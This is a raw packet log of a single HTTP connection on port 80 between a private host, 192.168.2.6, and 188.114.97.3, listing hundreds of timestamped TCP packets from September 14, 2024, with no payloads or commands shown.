Sep 14, 2024 18:44:13.053199053 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.053234100 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.053294897 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.053544998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053556919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053566933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053579092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053589106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053600073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053611040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053612947 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.053622961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053633928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053644896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053653002 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.053654909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053666115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053675890 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053680897 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.053687096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053704977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053704977 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.053715944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053725958 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.053728104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053741932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053752899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053752899 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.053762913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053775072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053785086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053796053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053807020 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.053807974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053818941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053829908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053834915 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.053838968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053850889 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053860903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053869009 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.053875923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053885937 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.053886890 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053899050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053905964 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.053910017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053920984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053934097 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.053951025 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.053971052 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.055562019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.055573940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.055583000 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.055594921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.055605888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.055617094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.055627108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.055629969 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.055639029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.055651903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.055664062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.055669069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.055674076 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.055680037 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.055691004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.055696011 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.055701971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.055720091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.055732965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.055743933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.055753946 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.055788040 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.056082010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056093931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056103945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056114912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056126118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056138039 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056140900 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.056149960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056201935 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.056230068 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.056238890 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056251049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056262016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056272984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056282997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056292057 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.056293964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056305885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056308985 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.056317091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056327105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056339025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056365013 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.056394100 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.056408882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056420088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056430101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056442022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056452990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056471109 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.056498051 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.056590080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056602001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056611061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056622028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056632996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056643963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056649923 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.056653976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056665897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056672096 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.056678057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056691885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056695938 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.056703091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056724072 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.056751013 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.056766033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056777954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056787968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056797981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056808949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.056823015 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.056849003 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.057054996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057065964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057076931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057122946 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.057152987 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.057241917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057254076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057264090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057276964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057286978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057296991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057298899 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.057308912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057320118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057332993 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.057359934 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.057389021 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.057415962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057609081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057621002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057631969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057641983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057651997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057662964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057666063 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.057672977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057686090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057696104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057702065 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.057707071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057718039 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057718039 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.057732105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057743073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057760954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057771921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057782888 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.057782888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057794094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.057806969 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.057830095 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.057856083 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.058691025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.058702946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.058713913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.058725119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.058790922 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.058820963 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.058885098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.058897018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.058907032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.058917046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.058927059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.058938026 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.058948040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.058953047 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.058959961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.058971882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.058990955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.058994055 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.059000969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.059010983 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.059012890 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.059055090 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.059082985 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.059609890 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.059622049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.059632063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.059643030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.059653044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.059664965 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.059669971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.059680939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.059694052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.059700012 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.059705973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.059716940 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.059717894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.059730053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.059741020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.059752941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.059756994 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.059794903 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.059822083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.059833050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.059843063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.059854031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.059878111 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.059905052 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.060360909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.060373068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.060383081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.060394049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.060404062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.060417891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.060424089 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.060460091 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.060460091 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.060547113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.060558081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.060595989 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.060738087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.060749054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.060759068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.060794115 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.060821056 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.060982943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.060995102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.061043024 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.061181068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.061192989 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.061203003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.061214924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.061240911 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.061269045 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.061557055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.061568975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.061579943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.061589956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.061599970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.061609983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.061611891 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.061619997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.061630964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.061640978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.061650991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.061660051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.061667919 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.061671972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.061683893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.061685085 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.061708927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.061712027 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.061719894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.061729908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.061731100 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.061749935 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.061788082 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.062473059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.062489986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.062499046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.062510014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.062520981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.062531948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.062542915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.062553883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.062565088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.062566042 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.062582970 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.062608957 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.062619925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.062630892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.062640905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.062650919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.062661886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.062669992 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.062671900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.062681913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.062693119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.062706947 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.062737942 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.063152075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.063163042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.063211918 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.063330889 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.063343048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.063353062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.063364029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.063374996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.063390970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.063420057 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.063421011 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.063421011 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.063515902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.063528061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.063536882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.063549042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.063560963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.063571930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.063575029 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.063581944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.063594103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.063604116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.063610077 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.063632011 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.063657999 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.064161062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.064172983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.064182997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.064193964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.064204931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.064215899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.064217091 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.064227104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.064235926 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.064238071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.064248085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.064259052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.064270020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.064280987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.064286947 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.064291954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.064311028 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.064337015 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.064495087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.064506054 CEST	80	49722	188.114.97.3	192.168.2.6
